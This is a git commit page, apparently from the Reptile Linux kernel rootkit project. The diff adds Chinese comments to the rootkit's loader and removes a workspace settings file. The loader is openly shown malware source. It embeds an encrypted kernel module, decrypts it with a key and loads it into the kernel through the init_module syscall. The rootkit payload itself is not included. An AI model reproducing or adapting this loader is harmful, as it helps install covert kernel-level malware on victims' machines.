something wrong

main^2
waiwai 7 months ago
parent 4a5cf78c79
commit 9416688cec

@ -11,27 +11,29 @@
#include "encrypt.h" #include "encrypt.h"
// 包含 reptile.ko.inc 文件中的二进制数据
static char reptile_blob[] = { static char reptile_blob[] = {
#include "reptile.ko.inc" #include "reptile.ko.inc"
}; };
// 定义 init_module 宏,调用系统调用 __NR_init_module
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) int main(void)
{ {
int ret = EXIT_FAILURE; int ret = EXIT_FAILURE; // 初始化返回值为失败
size_t len; size_t len; // 模块长度
void *module_image; void *module_image; // 模块镜像指针
len = sizeof(reptile_blob); len = sizeof(reptile_blob); // 获取模块长度
do_decrypt(reptile_blob, len, DECRYPT_KEY); do_decrypt(reptile_blob, len, DECRYPT_KEY); // 解密模块数据
module_image = malloc(len); module_image = malloc(len); // 分配内存
memcpy(module_image, reptile_blob, len); memcpy(module_image, reptile_blob, len); // 复制解密后的数据到分配的内存中
init_module(module_image, len, ""); init_module(module_image, len, ""); // 初始化模块
if (errno == 37) if (errno == 37) // 检查错误码是否为 37 (模块已存在)
ret = EXIT_SUCCESS; ret = EXIT_SUCCESS; // 设置返回值为成功
free(module_image); free(module_image); // 释放内存
return ret; return ret; // 返回结果
} }

@ -1,12 +0,0 @@
{
"folders": [
{
"path": "../.."
},
{
"name": "reptile",
"path": "../../reptile"
}
],
"settings": {}
}
Loading…
Cancel
Save